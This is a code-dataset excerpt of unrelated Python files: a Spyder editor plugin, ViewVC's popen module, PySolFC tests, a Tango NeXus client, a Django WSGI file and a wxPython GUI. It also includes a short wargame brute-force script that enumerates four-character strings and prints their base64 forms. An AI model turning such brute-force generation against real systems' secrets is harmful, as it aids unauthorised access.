self.register_widget_shortcuts("Editor", current_editor) current_es.analyze_script() self.__add_recent_file(filename) if goto is not None: # 'word' is assumed to be None as well current_editor.go_to_line(goto[index], word=word) position = current_editor.get_position('cursor') self.cursor_moved(filename0, position0, filename, position) current_editor.clearFocus() current_editor.setFocus() current_editor.window().raise_() QApplication.processEvents() def print_file(self): """Print current file""" editor = self.get_current_editor() filename = self.get_current_filename() printer = Printer(mode=QPrinter.HighResolution, header_font=self.get_plugin_font('printer_header')) printDialog = QPrintDialog(printer, editor) if editor.has_selected_text(): printDialog.addEnabledOption(QAbstractPrintDialog.PrintSelection) self.emit(SIGNAL('redirect_stdio(bool)'), False) answer = printDialog.exec_() self.emit(SIGNAL('redirect_stdio(bool)'), True) if answer == QDialog.Accepted: self.starting_long_process(_("Printing...")) printer.setDocName(filename) editor.print_(printer) self.ending_long_process() def print_preview(self): """Print preview for current file""" from spyderlib.qt.QtGui import QPrintPreviewDialog editor = self.get_current_editor() printer = Printer(mode=QPrinter.HighResolution, header_font=self.get_plugin_font('printer_header')) preview = QPrintPreviewDialog(printer, self) preview.setWindowFlags(Qt.Window) self.connect(preview, SIGNAL("paintRequested(QPrinter*)"), lambda printer: editor.print_(printer)) self.emit(SIGNAL('redirect_stdio(bool)'), False) preview.exec_() self.emit(SIGNAL('redirect_stdio(bool)'), True) def close_file(self): """Close current file""" editorstack = self.get_current_editorstack() editorstack.close_file() def close_all_files(self): """Close all opened scripts""" self.editorstacks[0].close_all_files() def save(self, index=None, force=False): """Save file""" editorstack = self.get_current_editorstack() return editorstack.save(index=index, force=force) def save_as(self): """Save *as* the currently edited file""" editorstack = self.get_current_editorstack() if editorstack.save_as(): fname = editorstack.get_current_filename() if CONF.get('workingdir', 'editor/save/auto_set_to_basedir'): self.emit(SIGNAL("open_dir(QString)"), osp.dirname(fname)) self.__add_recent_file(fname) def save_all(self): """Save all opened files""" self.get_current_editorstack().save_all() def revert(self): """Revert the currently edited file from disk""" editorstack = self.get_current_editorstack() editorstack.revert() #------ Explorer widget def __close(self, filename): filename = osp.abspath(unicode(filename)) index = self.editorstacks[0].has_filename(filename) if index is not None: self.editorstacks[0].close_file(index) def removed(self, filename): """File was removed in file explorer widget or in project explorer""" self.__close(filename) def removed_tree(self, dirname): """Directory was removed in project explorer widget""" dirname = osp.abspath(unicode(dirname)) for fname in self.get_filenames(): if osp.abspath(fname).startswith(dirname): self.__close(fname) def renamed(self, source, dest): """File was renamed in file explorer widget or in project explorer""" filename = osp.abspath(unicode(source)) index = self.editorstacks[0].has_filename(filename) if index is not None: for editorstack in self.editorstacks: editorstack.rename_in_data(index, new_filename=unicode(dest)) #------ Source code def indent(self): """Indent current line or selection""" editor = self.get_current_editor() if editor is not None: editor.indent() def unindent(self): """Unindent current line or selection""" editor = self.get_current_editor() if editor is not None: editor.unindent() def toggle_comment(self): """Comment current line or selection""" editor = self.get_current_editor() if editor is not None: editor.toggle_comment() def blockcomment(self): """Block comment current line or selection""" editor = self.get_current_editor() if editor is not None: editor.blockcomment() def unblockcomment(self): """Un-block comment current line or selection""" editor = self.get_current_editor() if editor is not None: editor.unblockcomment() def go_to_next_todo(self): editor = self.get_current_editor() position = editor.go_to_next_todo() filename = self.get_current_filename() self.add_cursor_position_to_history(filename, position) def go_to_next_warning(self): editor = self.get_current_editor() position = editor.go_to_next_warning() filename = self.get_current_filename() self.add_cursor_position_to_history(filename, position) def go_to_previous_warning(self): editor = self.get_current_editor() position = editor.go_to_previous_warning() filename = self.get_current_filename() self.add_cursor_position_to_history(filename, position) def run_winpdb(self): """Run winpdb to debug current file""" if self.save(): fname = self.get_current_filename() programs.run_program(WINPDB_PATH, [fname]) def toggle_eol_chars(self, os_name): editor = self.get_current_editor() if self.__set_eol_chars: editor.set_eol_chars(sourcecode.get_eol_chars_from_os_name(os_name)) def remove_trailing_spaces(self): editorstack = self.get_current_editorstack() editorstack.remove_trailing_spaces() def fix_indentation(self): editorstack = self.get_current_editorstack() editorstack.fix_indentation() #------ Cursor position history management def update_cursorpos_actions(self): self.previous_edit_cursor_action.setEnabled( self.last_edit_cursor_pos is not None) self.previous_cursor_action.setEnabled( self.cursor_pos_index is not None and self.cursor_pos_index > 0) self.next_cursor_action.setEnabled(self.cursor_pos_index is not None \ and self.cursor_pos_index < len(self.cursor_pos_history)-1) def add_cursor_position_to_history(self, filename, position, fc=False): if self.__ignore_cursor_position: return for index, (fname, pos) in enumerate(self.cursor_pos_history[:]): if fname == filename: if pos == position or pos == 0: if fc: self.cursor_pos_history[index] = (filename, position) self.cursor_pos_index = index self.update_cursorpos_actions() return else: if self.cursor_pos_index >= index: self.cursor_pos_index -= 1 self.cursor_pos_history.pop(index) break if self.cursor_pos_index is not None: self.cursor_pos_history = \ self.cursor_pos_history[:self.cursor_pos_index+1] self.cursor_pos_history.append((filename, position)) self.cursor_pos_index = len(self.cursor_pos_history)-1 self.update_cursorpos_actions() def cursor_moved(self, filename0, position0, filename1, position1): """Cursor was just moved: 'go to'""" if position0 is not None: self.add_cursor_position_to_history(filename0, position0) self.add_cursor_position_to_history(filename1, position1) def text_changed_at(self, filename, position): self.last_edit_cursor_pos = (unicode(filename), position) def current_file_changed(self, filename, position): self.add_cursor_position_to_history(unicode(filename), position, fc=True) def go_to_last_edit_location(self): if self.last_edit_cursor_pos is not None: filename, position = self.last_edit_cursor_pos if not osp.isfile(filename): self.last_edit_cursor_pos = None return else: self.load(filename) editor = self.get_current_editor() if position < editor.document().characterCount(): editor.set_cursor_position(position) def __move_cursor_position(self, index_move): if self.cursor_pos_index is None: return filename, _position = self.cursor_pos_history[self.cursor_pos_index] self.cursor_pos_history[self.cursor_pos_index] = ( filename, self.get_current_editor().get_position('cursor') ) self.__ignore_cursor_position = True old_index = self.cursor_pos_index self.cursor_pos_index = min([ len(self.cursor_pos_history)-1, max([0, self.cursor_pos_index+index_move]) ]) filename, position = self.cursor_pos_history[self.cursor_pos_index] if not osp.isfile(filename): self.cursor_pos_history.pop(self.cursor_pos_index) if self.cursor_pos_index < old_index: old_index -= 1 self.cursor_pos_index = old_index else: self.load(filename) editor = self.get_current_editor() if position < editor.document().characterCount(): editor.set_cursor_position(position) self.__ignore_cursor_position = False self.update_cursorpos_actions() def go_to_previous_cursor_position(self): self.__move_cursor_position(-1) def go_to_next_cursor_position(self): self.__move_cursor_position(1) def go_to_line(self): """Open 'go to line' dialog""" editorstack = self.get_current_editorstack() if editorstack is not None: editorstack.go_to_line() def set_or_clear_breakpoint(self): """Set/Clear breakpoint""" editorstack = self.get_current_editorstack() if editorstack is not None: editorstack.set_or_clear_breakpoint() def set_or_edit_conditional_breakpoint(self): """Set/Edit conditional breakpoint""" editorstack = self.get_current_editorstack() if editorstack is not None: editorstack.set_or_edit_conditional_breakpoint() def clear_all_breakpoints(self): """Clear breakpoints in all files""" clear_all_breakpoints() editorstack = self.get_current_editorstack() if editorstack is not None: for data in editorstack.data: data.editor.clear_breakpoints() #------ Run Python script def edit_run_configurations(self): dialog = RunConfigDialog(self) fname = osp.abspath(self.get_current_filename()) dialog.setup(fname) if self.configdialog_size is not None: dialog.resize(self.configdialog_size) if dialog.exec_(): self.configdialog_size = dialog.win_size fname = dialog.file_to_run if fname is not None: self.load(fname) self.run_file() def run_file(self, debug=False): """Run script inside current interpreter or in a new one""" editorstack = self.get_current_editorstack() if editorstack.save(): editor = self.get_current_editor() fname = osp.abspath(self.get_current_filename()) runconf = get_run_configuration(fname) if runconf is None: dialog = RunConfigOneDialog(self) dialog.setup(fname) if self.configdialog_size is not None: dialog.resize(self.configdialog_size) if not dialog.exec_(): return self.configdialog_size = dialog.win_size runconf = dialog.get_configuration() wdir = runconf.get_working_directory() args = runconf.get_arguments() python_args = runconf.get_python_arguments() interact = runconf.interact current = runconf.current systerm = runconf.systerm python = True # Note: in the future, it may be useful to run # something in a terminal instead of a Python interp. self.__last_ec_exec = (fname, wdir, args, interact, debug, python, python_args, current, systerm) self.re_run_file() if not interact and not debug: # If external console dockwidget is hidden, it will be # raised in top-level and so focus will be given to the # current external shell automatically # (see SpyderPluginWidget.visibility_changed method) editor.setFocus() def debug_file(self): """Debug current script""" self.run_file(debug=True) def re_run_file(self): """Re-run last script""" if self.get_option('save_all_before_run', True): self.save_all() if self.__last_ec_exec is None: return (fname, wdir, args, interact, debug, python, python_args, current, systerm) = self.__last_ec_exec if current: self.emit(SIGNAL('run_in_current_console(QString,QString,QString,bool)'), fname, wdir, args, debug) else: self.main.open_external_console(fname, wdir, args, interact, debug, python, python_args, systerm) def run_selection_or_block(self): """Run selection or current line in external console""" editorstack = self.get_current_editorstack() editorstack.run_selection_or_block() #------ Options def apply_plugin_settings(self, options): """Apply configuration file's plugin settings""" # toggle_fullpath_sorting if self.editorstacks is not None: color_scheme_n = 'color_scheme_name' color_scheme_o = get_color_scheme(self.get_option(color_scheme_n)) font_n = 'plugin_font' font_o = self.get_plugin_font() fpsorting_n = 'fullpath_sorting' fpsorting_o = self.get_option(fpsorting_n) tabbar_n = 'show_tab_bar' tabbar_o = self.get_option(tabbar_n) linenb_n = 'line_numbers' linenb_o = self.get_option(linenb_n) edgeline_n = 'edge_line' edgeline_o = self.get_option(edgeline_n) edgelinecol_n = 'edge_line_column' edgelinecol_o = self.get_option(edgelinecol_n) currentline_n = 'highlight_current_line' currentline_o = self.get_option(currentline_n) occurence_n = 'occurence_highlighting' occurence_o = self.get_option(occurence_n) occurence_timeout_n = 'occurence_highlighting/timeout' occurence_timeout_o = self.get_option(occurence_timeout_n) wrap_n = 'wrap' wrap_o = self.get_option(wrap_n) tabindent_n = 'tab_always_indent' tabindent_o = self.get_option(tabindent_n) ibackspace_n = 'intelligent_backspace' ibackspace_o = self.get_option(ibackspace_n) removetrail_n = 'always_remove_trailing_spaces' removetrail_o = self.get_option(removetrail_n) autocomp_n = 'codecompletion/auto' autocomp_o = self.get_option(autocomp_n) case_comp_n = 'codecompletion/case_sensitive' case_comp_o = self.get_option(case_comp_n) show_single_n = 'codecompletion/show_single' show_single_o = self.get_option(show_single_n) enter_key_n = 'codecompletion/enter_key' enter_key_o = self.get_option(enter_key_n) calltips_n = 'calltips' calltips_o = self.get_option(calltips_n) gotodef_n = 'go_to_definition' gotodef_o = self.get_option(gotodef_n) closepar_n = 'close_parentheses' closepar_o = self.get_option(closepar_n) autounindent_n = 'auto_unindent' autounindent_o = self.get_option(autounindent_n) indent_chars_n = 'indent_chars' indent_chars_o = self.get_option(indent_chars_n) tab_stop_width_n = 'tab_stop_width' tab_stop_width_o = self.get_option(tab_stop_width_n) inspector_n = 'object_inspector' inspector_o = self.get_option(inspector_n) todo_n = 'todo_list' todo_o = self.get_option(todo_n) pyflakes_n = 'code_analysis/pyflakes' pyflakes_o = self.get_option(pyflakes_n) pep8_n = 'code_analysis/pep8' pep8_o = self.get_option(pep8_n) rt_analysis_n = 'realtime_analysis' rt_analysis_o = self.get_option(rt_analysis_n) rta_timeout_n = 'realtime_analysis/timeout' rta_timeout_o = self.get_option(rta_timeout_n) finfo = self.get_current_finfo() if fpsorting_n in options: if self.outlineexplorer is not None: self.outlineexplorer.set_fullpath_sorting(fpsorting_o) for window in self.editorwindows: window.editorwidget.outlineexplorer.set_fullpath_sorting( fpsorting_o) for editorstack in self.editorstacks: if font_n in options: scs = color_scheme_o if color_scheme_n in options else None editorstack.set_default_font(font_o, scs) elif color_scheme_n in options: editorstack.set_color_scheme(color_scheme_o) if fpsorting_n in options: editorstack.set_fullpath_sorting_enabled(fpsorting_o) if tabbar_n in options: editorstack.set_tabbar_visible(tabbar_o) if linenb_n in options: editorstack.set_linenumbers_enabled(linenb_o, current_finfo=finfo) if edgeline_n in options: editorstack.set_edgeline_enabled(edgeline_o) if edgelinecol_n in options: editorstack.set_edgeline_column(edgelinecol_o) if currentline_n in options: editorstack.set_highlight_current_line_enabled( currentline_o) if occurence_n in options: editorstack.set_occurence_highlighting_enabled(occurence_o) if occurence_timeout_n in options: editorstack.set_occurence_highlighting_timeout( occurence_timeout_o) if wrap_n in options: editorstack.set_wrap_enabled(wrap_o) if tabindent_n in options: editorstack.set_tabmode_enabled(tabindent_o) if ibackspace_n in options: editorstack.set_intelligent_backspace_enabled(ibackspace_o) if removetrail_n in options: editorstack.set_always_remove_trailing_spaces(removetrail_o) if autocomp_n in options: editorstack.set_codecompletion_auto_enabled(autocomp_o) if case_comp_n in options: editorstack.set_codecompletion_case_enabled(case_comp_o) if show_single_n in options: editorstack.set_codecompletion_single_enabled(show_single_o) if enter_key_n in options: editorstack.set_codecompletion_enter_enabled(enter_key_o) if calltips_n in options: editorstack.set_calltips_enabled(calltips_o) if gotodef_n in options: editorstack.set_go_to_definition_enabled(gotodef_o) if closepar_n in options: editorstack.set_close_parentheses_enabled(closepar_o) if autounindent_n in options: editorstack.set_auto_unindent_enabled(autounindent_o) if indent_chars_n in options: editorstack.set_indent_chars(indent_chars_o) if tab_stop_width_n in options: editorstack.set_tab_stop_width(tab_stop_width_o) if inspector_n in options: editorstack.set_inspector_enabled(inspector_o) if todo_n in options: editorstack.set_todolist_enabled(todo_o, current_finfo=finfo) if pyflakes_n in options: editorstack.set_pyflakes_enabled(pyflakes_o, current_finfo=finfo) if pep8_n in options: editorstack.set_pep8_enabled(pep8_o, current_finfo=finfo) if rt_analysis_n in options: editorstack.set_realtime_analysis_enabled(rt_analysis_o) if rta_timeout_n in options: editorstack.set_realtime_analysis_timeout(rta_timeout_o) # We must update the current editor after the others: # (otherwise, code analysis buttons state would correspond to the # last editor instead of showing the one of the current editor) if finfo is not None: if todo_n in options and todo_o: finfo.run_todo_finder() if pyflakes_n in options or pep8_n in options: finfo.run_code_analysis(pyflakes_o, pep8_o)
jromang/retina-old
distinclude/spyderlib/plugins/editor.py
Python
gpl-3.0
98,134
# -*-python-*- # # Copyright (C) 1999-2006 The ViewCVS Group. All Rights Reserved. # # By using this file, you agree to the terms and conditions set forth in # the LICENSE.html file which can be found at the top level of the ViewVC # distribution or at http://viewvc.org/license-1.html. # # For more information, visit http://viewvc.org/ # # ----------------------------------------------------------------------- # # popen.py: a replacement for os.popen() # # This implementation of popen() provides a cmd + args calling sequence, # rather than a system() type of convention. The shell facilities are not # available, but that implies we can avoid worrying about shell hacks in # the arguments. # # ----------------------------------------------------------------------- import os import sys import threading import string if sys.platform == "win32": import win32popen import win32event import win32process import debug import StringIO def popen(cmd, args, mode, capture_err=1): if sys.platform == "win32": command = win32popen.CommandLine(cmd, args) if string.find(mode, 'r') >= 0: hStdIn = None if debug.SHOW_CHILD_PROCESSES: dbgIn, dbgOut = None, StringIO.StringIO() handle, hStdOut = win32popen.MakeSpyPipe(0, 1, (dbgOut,)) if capture_err: hStdErr = hStdOut dbgErr = dbgOut else: dbgErr = StringIO.StringIO() x, hStdErr = win32popen.MakeSpyPipe(None, 1, (dbgErr,)) else: handle, hStdOut = win32popen.CreatePipe(0, 1) if capture_err: hStdErr = hStdOut else: hStdErr = win32popen.NullFile(1) else: if debug.SHOW_CHILD_PROCESSES: dbgIn, dbgOut, dbgErr = StringIO.StringIO(), StringIO.StringIO(), StringIO.StringIO() hStdIn, handle = win32popen.MakeSpyPipe(1, 0, (dbgIn,)) x, hStdOut = win32popen.MakeSpyPipe(None, 1, (dbgOut,)) x, hStdErr = win32popen.MakeSpyPipe(None, 1, (dbgErr,)) else: hStdIn, handle = win32popen.CreatePipe(0, 1) hStdOut = None hStdErr = None phandle, pid, thandle, tid = win32popen.CreateProcess(command, hStdIn, hStdOut, hStdErr) if debug.SHOW_CHILD_PROCESSES: debug.Process(command, dbgIn, dbgOut, dbgErr) return _pipe(win32popen.File2FileObject(handle, mode), phandle) # flush the stdio buffers since we are about to change the FD under them sys.stdout.flush() sys.stderr.flush() r, w = os.pipe() pid = os.fork() if pid: # in the parent # close the descriptor that we don't need and return the other one. if string.find(mode, 'r') >= 0: os.close(w) return _pipe(os.fdopen(r, mode), pid) os.close(r) return _pipe(os.fdopen(w, mode), pid) # in the child # we'll need /dev/null for the discarded I/O null = os.open('/dev/null', os.O_RDWR) if string.find(mode, 'r') >= 0: # hook stdout/stderr to the "write" channel os.dup2(w, 1) # "close" stdin; the child shouldn't use it ### this isn't quite right... we may want the child to read from stdin os.dup2(null, 0) # what to do with errors? if capture_err: os.dup2(w, 2) else: os.dup2(null, 2) else: # hook stdin to the "read" channel os.dup2(r, 0) # "close" stdout/stderr; the child shouldn't use them ### this isn't quite right... we may want the child to write to these os.dup2(null, 1) os.dup2(null, 2) # don't need these FDs any more os.close(null) os.close(r) os.close(w) # the stdin/stdout/stderr are all set up. exec the target try: os.execvp(cmd, (cmd,) + tuple(args)) except: # aid debugging, if the os.execvp above fails for some reason: print "<h2>exec failed:</h2><pre>", cmd, string.join(args), "</pre>" raise # crap. shouldn't be here. sys.exit(127) def pipe_cmds(cmds, out=None): """Executes a sequence of commands. The output of each command is directed to the input of the next command. A _pipe object is returned for writing to the first command's input. The output of the last command is directed to the "out" file object or the standard output if "out" is None. If "out" is not an OS file descriptor, a separate thread will be spawned to send data to its write() method.""" if out is None: out = sys.stdout # flush the stdio buffers since we are about to change the FD under them sys.stdout.flush() sys.stderr.flush() prev_r, parent_w = os.pipe() null = os.open('/dev/null', os.O_RDWR) child_pids = [] for cmd in cmds[:-1]: r, w = os.pipe() pid = os.fork() if not pid: # in the child # hook up stdin to the "read" channel os.dup2(prev_r, 0) # hook up stdout to the output channel os.dup2(w, 1) # toss errors os.dup2(null, 2) # close these extra descriptors os.close(prev_r) os.close(parent_w) os.close(null) os.close(r) os.close(w) # time to run the command try: os.execvp(cmd[0], cmd) except: pass sys.exit(127) # in the parent child_pids.append(pid) # we don't need these any more os.close(prev_r) os.close(w) # the read channel of this pipe will feed into to the next command prev_r = r # no longer needed os.close(null) # done with most of the commands. set up the last command to write to "out" if not hasattr(out, 'fileno'): r, w = os.pipe() pid = os.fork() if not pid: # in the child (the last command) # hook up stdin to the "read" channel os.dup2(prev_r, 0) # hook up stdout to "out" if hasattr(out, 'fileno'): if out.fileno() != 1: os.dup2(out.fileno(), 1) out.close() else: # "out" can't be hooked up directly, so use a pipe and a thread os.dup2(w, 1) os.close(r) os.close(w) # close these extra descriptors os.close(prev_r) os.close(parent_w) # run the last command try: os.execvp(cmds[-1][0], cmds[-1]) except: pass sys.exit(127) child_pids.append(pid) # not needed any more os.close(prev_r) if not hasattr(out, 'fileno'): os.close(w) thread = _copy(r, out) thread.start() else: thread = None # write into the first pipe, wait on the final process return _pipe(os.fdopen(parent_w, 'w'), child_pids, thread=thread) class _copy(threading.Thread): def __init__(self, srcfd, destfile): self.srcfd = srcfd self.destfile = destfile threading.Thread.__init__(self) def run(self): try: while 1: s = os.read(self.srcfd, 1024) if not s: break self.destfile.write(s) finally: os.close(self.srcfd) class _pipe: "Wrapper for a file which can wait() on a child process at close time." def __init__(self, file, child_pid, done_event = None, thread = None): self.file = file self.child_pid = child_pid if sys.platform == "win32": if done_event: self.wait_for = (child_pid, done_event) else: self.wait_for = (child_pid,) else: self.thread = thread def eof(self): ### should be calling file.eof() here instead of file.close(), there ### may be data in the pipe or buffer after the process exits if sys.platform == "win32": r = win32event.WaitForMultipleObjects(self.wait_for, 1, 0) if r == win32event.WAIT_OBJECT_0: self.file.close() self.file = None return win32process.GetExitCodeProcess(self.child_pid) return None if self.thread and self.thread.isAlive(): return None pid, status = os.waitpid(self.child_pid, os.WNOHANG) if pid: self.file.close() self.file = None return status return None def close(self): if self.file: self.file.close() self.file = None if sys.platform == "win32": win32event.WaitForMultipleObjects(self.wait_for, 1, win32event.INFINITE) return win32process.GetExitCodeProcess(self.child_pid) else: if self.thread: self.thread.join() if type(self.child_pid) == type([]): for pid in self.child_pid: exit = os.waitpid(pid, 0)[1] return exit else: return os.waitpid(self.child_pid, 0)[1] return None def __getattr__(self, name): return getattr(self.file, name) def __del__(self): self.close()
oseemann/cvsreview
app/vclib/popen.py
Python
gpl-3.0
8,464
# Written by Shlomi Fish, under the MIT Expat License. import unittest import pysollib.stack from pysollib.acard import AbstractCard from pysollib.games.spider import ScorpionTail_RowStack from pysollib.games.spider import Scorpion_RowStack from pysollib.games.spider import Spider_RowStack from .common_mocks import MockApp, MockCanvas, MockItem, MockTalon class MockGame: def __init__(self): self.app = MockApp() self.talon = MockTalon(self) self.allstacks = [] self.stackmap = {} self.canvas = MockCanvas() self.foundations = [ pysollib.stack.SS_FoundationStack(0, 0, self, s) for s in range(4)] self.rows = [pysollib.stack.Yukon_SS_RowStack(0, 0, self) for s in range(8)] self.reserves = [ pysollib.stack.Yukon_SS_RowStack(0, 0, self) for s in range(4)] self.preview = 0 class Mock_S_Game: # noqa: N801 def __init__(self): self.s = MockGame() def flipMove(self, foo): # noqa: N802 pass def moveMove(self, cnt, frm, to, frames=0): # noqa: N802 c = frm.cards.pop() c.face_up = True to.addCard(c) pass class ScorpionTests(unittest.TestCase): def _calc_scorpion_stack(self, is_scorpion_tail): g = MockGame() stack = (ScorpionTail_RowStack if is_scorpion_tail else Scorpion_RowStack)(0, 0, g) for s, r in [(2, 5), (3, 7), (2, 7), (2, 0), (2, 3), (2, 4), (1, 4)]: c = AbstractCard(1000+r*100+s*10, 0, s, r, g) c.face_up = True c.item = MockItem() stack.addCard(c) return stack def test_canMoveCards(self): # noqa: N802 for is_scorpion_tail in [False, True]: stack = self._calc_scorpion_stack(is_scorpion_tail) stack.canMoveCards(stack.cards[6:]) self.assertTrue(stack) def test_canMoveCards_non_top(self): # noqa: N802 for is_scorpion_tail in [False, True]: stack = self._calc_scorpion_stack(is_scorpion_tail) self.assertTrue(stack.canMoveCards(stack.cards[4:])) self.assertTrue(stack) def _calc_spider_stack(self): g = MockGame() stack = Spider_RowStack(0, 0, g) for s, r in [(2, 5), (3, 7), (2, 7), (2, 0), (2, 3), (2, 5), (1, 4)]: c = AbstractCard(1000+r*100+s*10, 0, s, r, g) c.face_up = True c.item = MockItem() stack.addCard(c) return stack def test_Spider_canMoveCards_non_top(self): # noqa: N802 stack = self._calc_spider_stack() self.assertFalse(stack.canMoveCards(stack.cards[5:])) self.assertTrue(stack)
shlomif/PySolFC
tests/lib/pysol_tests/test_scorpion_canMove.py
Python
gpl-3.0
2,742
#!/usr/bin/env python # This file is part of nexdatas - Tango Server for NeXus data writer # # Copyright (C) 2012-2013 DESY, Jan Kotanski <[email protected]> # # nexdatas is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # nexdatas is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with nexdatas. If not, see <http://www.gnu.org/licenses/>. # \package ndtstools tools for ndts ## \file simpleClient.py # first example of simple client import sys, os import time import PyTango ## the main function def main(): if len(sys.argv) < 2: print "usage: simpleClient.py <XMLfile> <H5file> <tangoServer>" else: xmlf = sys.argv[1] if os.path.exists(xmlf): if len(sys.argv) > 2: fname = sys.argv[2] print fname else: sp = xmlf.split(".") print sp if sp[-1] == 'xml' : fname = ''.join(sp[0:-1]) else: fname = xmlf fname = fname.strip() + ".h5" print "storing in ", fname device = "p09/tdw/r228" if len(sys.argv) > 3: device = sys.argv[3] dpx = PyTango.DeviceProxy(device) dpx.set_timeout_millis(25000) dpx.Init() print " Connected to: ", device xml = open(xmlf, 'r').read() dpx.FileName = fname print "opening the H5 file" dpx.OpenFile() dpx.XMLSettings = xml dpx.JSONRecord = '{"decoders":{"MLIMA":"ndts.DecoderPool.VDEOdecoder"}}' print "opening the entry" dpx.OpenEntry() print "recording the H5 file" dpx.record('{"data": {"emittance_x": 0.1}, "triggers":["trigger1", "trigger2"] }') print "sleeping for 1s" time.sleep(1) print "recording the H5 file" dpx.record('{"data": {"emittance_x": 0.3} }') print "sleeping for 1s" time.sleep(1) print "recording the H5 file" dpx.record('{"data": {"emittance_x": 0.6}, "triggers":["trigger1"] }') print "sleeping for 1s" time.sleep(1) print "recording the H5 file" dpx.record('{"data": {"emittance_x": 0.5} }') print "sleeping for 1s" time.sleep(1) print "recording the H5 file" dpx.record('{"data": {"emittance_x": 0.1}, "triggers":["trigger2"] }') print "closing the entry" dpx.closeEntry() print "closing the H5 file" dpx.closeFile() if __name__ == "__main__": main()
nexdatas/clients
simpleclients/simpleDecoderClient.py
Python
gpl-3.0
3,333
# -*- coding: utf-8 -*- """ WSGI config for qoala project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/ """ from __future__ import unicode_literals, print_function, division, absolute_import import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "qoala.settings") from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
last-g/qoala
qoala/wsgi.py
Python
gpl-3.0
494
#!/usr/bin/env python import string import itertools import binascii #char = string.ascii_letters #print char.__len__() char = [] string = "" for i in range(16,256): hexchar = hex(i) hexchar = hexchar.lstrip('0x') char.append(hexchar) for i in range(150, char.__len__()): hexstring = char[i] string = string + binascii.unhexlify(hexstring) # print string + " <--> " + string.encode("base64") print string def bruteforce(charset): return (''.join(candidate) for candidate in itertools.chain(itertools.product(charset, repeat=4))) current = list(bruteforce(string)) for i in range(1, current.__len__()): for j in range(0,3): newstring = "A"*j + current[i] print binascii.hexlify(newstring) + " : " + newstring.encode("base64")
godoppl/project
otw/abraxas/level4/brute.py
Python
gpl-3.0
742
__author__ = 'Scott Ficarro' __version__ = '1.0' import wx, os, sys, re import wx.lib.mixins.listctrl as listmix import mz_workbench.mz_masses as mz_masses from collections import defaultdict class TestListCtrl(wx.ListCtrl, listmix.ListCtrlAutoWidthMixin, listmix.TextEditMixin, listmix.ColumnSorterMixin): # def __init__(self, parent, panel, ID, size = (800,280), pos=(0,30), style=0): self.parent = parent wx.ListCtrl.__init__(self, panel, ID, pos, size, style) listmix.ListCtrlAutoWidthMixin.__init__(self) #listmix.ColumnSorterMixin.__init__(self, 5) #self.Populate() listmix.TextEditMixin.__init__(self) #self.editor.Disable() #self.editor.RemoveSelection() #self.editor.Destroy() #self.editor.SetCanFocus(False) self.InsertColumn(0, "Token") self.InsertColumn(1, "Title") self.InsertColumn(2, "Composition") self.InsertColumn(3, "MonoIsotopic") self.InsertColumn(4, "Average") self.InsertColumn(5, "Group") self.SetColumnWidth(0, 80) self.SetColumnWidth(1, 150) self.SetColumnWidth(2, 250) self.SetColumnWidth(3, 100) self.SetColumnWidth(4, 100) self.SetColumnWidth(5, 100) self.Bind(wx.EVT_LEFT_DOWN, self.OnLeft) #self.Bind(wx.EVT_RIGHT_UP, self.OnRightUp) self.Bind(wx.EVT_LEFT_DCLICK, self.LeftD) self.bank_num = 0 self.Bind(wx.EVT_LIST_COL_CLICK, self.OnColClick) #self.Select(0,0) #self.editor.Hide() self.itemDataMap = {} listmix.ColumnSorterMixin.__init__(self, 6) #self.Bind(wx.EVT_LIST_CO, self.LeftD) def GetListCtrl(self): return self def OnColClick(self, evt): print "COL CLICK" evt.Skip() def OnRightUp(self, evt): self.parent.memory_bank.Hide() def LeftD(self, evt): evt.Skip() #if self.editable: # evt.Skip() def OnLeft(self, evt): evt.Skip() #if not self.editable: #for i in range(0, self.GetItemCount()): #self.Select(i, 0) #print evt.GetPosition() #print evt.GetEventObject() #print evt.GetButton() #print self.HitTest(evt.GetPosition()) #self.Select(self.HitTest(evt.GetPosition())[0]) #else: #evt.Skip() def convertToComp(self, token): compstring = '' res_dict = mz_masses.res_dict[token] res_order = ['C', 'H', 'N', 'O', 'P', 'S', 'C13', 'N15'] for key in res_dict.keys(): if res_dict[key] > 0: compstring += key + '(' + str(res_dict[key]) + ') ' return compstring def convertFromComp(self, comp): return comp.replace('(', ':').replace(')',',').strip()[:-1] def GetListCtrl(self): return self def Populate(self, token, title, composition, group): # for normal, simple columns, you can add them like this: self.bank_num += 1 index = self.InsertStringItem(sys.maxint, token) #index = self.InsertStringItem(0, seq) self.SetStringItem(index, 1, title) self.SetStringItem(index, 2, self.convertToComp(token)) # str(composition) self.SetStringItem(index, 3, str(mz_masses.calc_mass(mz_masses.res_dict[token], massType='mi'))) self.SetStringItem(index, 4, str(mz_masses.calc_mass(mz_masses.res_dict[token], massType='av'))) self.SetStringItem(index, 5, group) print self.bank_num self.SetItemData(index, self.bank_num) self.itemDataMap[self.bank_num]=(token, title, self.convertToComp(token), float(mz_masses.calc_mass(mz_masses.res_dict[token], massType='mi')), float(mz_masses.calc_mass(mz_masses.res_dict[token], massType='av')), group) #if self.bank_num == 10: # print "A" #self.GetItemCount() #self.GetItem(9,2).GetText() def SetStringItem(self, index, col, data): if col in range(6): wx.ListCtrl.SetStringItem(self, index, col, data) else: try: datalen = int(data) except: return wx.ListCtrl.SetStringItem(self, index, col, data) data = self.GetItem(index, col-3).GetText() wx.ListCtrl.SetStringItem(self, index, col-3, data[0:datalen]) class ModBank(wx.Frame): def __init__(self, parent, id): self.parent = parent wx.Frame.__init__(self,parent,id, 'Mod Manager', size =(810,340), pos = (50,50), style=wx.CAPTION|wx.CLOSE_BOX) #, style=wx.STAY_ON_TOP|wx.FRAME_EX_METAL|wx.FRAME_NO_TASKBAR self.panel = wx.Panel(self, size =(810,340)) #self.listb = TestListCtrl(self.parent, self.panel, -1, style=wx.LC_REPORT | wx.BORDER_NONE | wx.LC_SORT_ASCENDING) self.listb = TestListCtrl(self.parent, self.panel, -1, style=wx.LC_REPORT | wx.BORDER_NONE | wx.LC_SORT_ASCENDING) self.listb.Bind(wx.EVT_LIST_ITEM_SELECTED, self.OnSelected) #self.listb.editable=False self.Save = wx.Button(self.panel, -1, "Save", pos=(0,2), size=(40,25)) 